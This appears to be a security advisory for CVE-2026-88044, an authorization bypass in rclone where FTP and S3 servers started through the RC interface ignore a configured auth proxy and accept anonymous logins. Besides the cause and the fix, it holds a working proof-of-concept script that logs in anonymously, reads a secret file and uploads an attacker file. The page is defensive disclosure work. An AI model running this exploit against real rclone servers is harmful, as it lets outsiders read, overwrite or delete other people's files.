critical · 9.1CVE-2026-88044Sep 10, 2026

CVE-2026-88044: rclone RC Per-Server Auth-Proxy Bypass (FTP/S3)

Rohit Hatagale
AI Security Researcher, SecureLayer7

When rclone's RC interface starts an FTP or S3 server with a per-request auth proxy, the server ignores it and falls back to anonymous access because the code checks a global config variable instead…

Packagegithub.com/rclone/rclone
Ecosystemgo
Affected>= 1.70.0, < 1.75.1
Fixed in1.75.1
CVE-2026-88044: rclone RC Per-Server Auth-Proxy Bypass (FTP/S3)

The problem

rclone's serve/start RC endpoint lets callers configure per-server options, including an AuthProxy command, in a proxyOpt object. The FTP and S3 server constructors receive that object correctly, but then branch on proxy.Opt.AuthProxy (the process-global value) rather than proxyOpt.AuthProxy (the per-request value).

When the global value is empty, which is the normal case for RC-started servers, the configured proxy is silently ignored. The FTP server falls back to fixed-backend mode, where username anonymous with any password is accepted. An unauthenticated attacker on the network can read, create, overwrite, and delete files in whatever filesystem the RC caller supplied.

Proof of concept

A working proof-of-concept for CVE-2026-88044 in github.com/rclone/rclone, with the exact payload below.

bash
# 1. Start the RC daemon (no auth for lab purposes)
./rclone rcd --rc-addr 127.0.0.1:5572 --rc-no-auth

# 2. Prepare a fixed filesystem and a proxy that rejects every login
mkdir -p /tmp/rclone-rc-root
printf 'secret-data\n' > /tmp/rclone-rc-root/secret.txt
cat > /tmp/deny-proxy.sh <<'EOF'
#!/bin/sh
cat >/dev/null
exit 1
EOF
chmod 700 /tmp/deny-proxy.sh

# 3. Launch an FTP server via RC, supplying the deny-proxy as AuthProxy
./rclone rc --url http://127.0.0.1:5572 \
  serve/start \
  type=ftp \
  fs=/tmp/rclone-rc-root \
  proxyOpt='{"AuthProxy":"/tmp/deny-proxy.sh"}' \
  opt='{"ListenAddr":"127.0.0.1:2121","PassivePorts":"30000-30010"}'

# 4. Connect as anonymous with any password -- auth proxy is never called
python3 - <<'PY'
import ftplib, io
ftp = ftplib.FTP()
ftp.connect("127.0.0.1", 2121, timeout=5)
ftp.login("anonymous", "anything")          # succeeds despite rejecting proxy
buf = bytearray()
ftp.retrbinary("RETR secret.txt", buf.extend)
print(buf.decode().strip())                 # prints: secret-data
ftp.storbinary("STOR pwned.txt", io.BytesIO(b"attacker-controlled\n"))
ftp.quit()
PY

The buggy branch in cmd/serve/ftp/ftp.go (line 202, pre-patch) is if proxy.Opt.AuthProxy != "" { ... }. Because proxy.Opt is the process-global singleton populated by CLI flags, it is empty when the server was started via rclone rc serve/start. The condition is always false, so proxy.New(ctx, proxyOpt, vfsOpt) is never called and d.globalVFS is created instead.

The fix changes the check to if proxyOpt != nil && proxyOpt.AuthProxy != "" { ... }, switching from the global to the argument actually passed to newServer. The same one-line fix was applied to cmd/serve/s3/server.go. CWE-863 (Incorrect Authorization) applies because a supplied, valid security policy is parsed without error but never enforced.

The fix

Upgrade to rclone v1.75.1. The patch (commit 739403963abf6f58003c2becd5f7c4ad0d644153) changes both cmd/serve/ftp/ftp.go and cmd/serve/s3/server.go to branch on proxyOpt.AuthProxy rather than proxy.Opt.AuthProxy. CLI-started servers (rclone serve ftp --auth-proxy ...) set the global and are unaffected by this bug.

Reported by Nick Craig-Wood.

References: [1][2][3][4][5]

Related research